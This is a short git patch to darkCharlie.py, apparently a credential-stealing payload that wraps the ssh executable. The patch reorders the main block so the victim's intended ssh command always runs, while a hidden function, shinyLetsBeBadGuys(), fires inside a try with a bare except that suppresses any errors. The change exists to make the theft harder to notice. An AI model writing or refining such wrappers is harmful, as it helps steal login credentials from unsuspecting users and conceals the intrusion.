From 06d36975d170909107775b1e7acd77bbf9208cc1 Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Thu, 21 Sep 2017 10:22:24 -0700 Subject: [PATCH] Try/except harder Moved the try in the main try/except block so we will always get the original intended command to run. --- .../credentials/darkCharlie/injector/darkCharlie.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py index 225b5dcc..bb9b1c53 100644 --- a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py +++ b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py @@ -402,11 +402,11 @@ def shinyLetsBeBadGuys(): if __name__ == '__main__': import os + args = parseArguments() + intendedCommand = args[:] + intendedCommand[0] = originalSSHExecutable + intendedCommand = " ".join(intendedCommand) try: - args = parseArguments() - intendedCommand = args[:] - intendedCommand[0] = originalSSHExecutable - intendedCommand = " ".join(intendedCommand) if len(args) > 1: shinyLetsBeBadGuys() except: #I really feel weird doing a massive open-ended exception here... but silence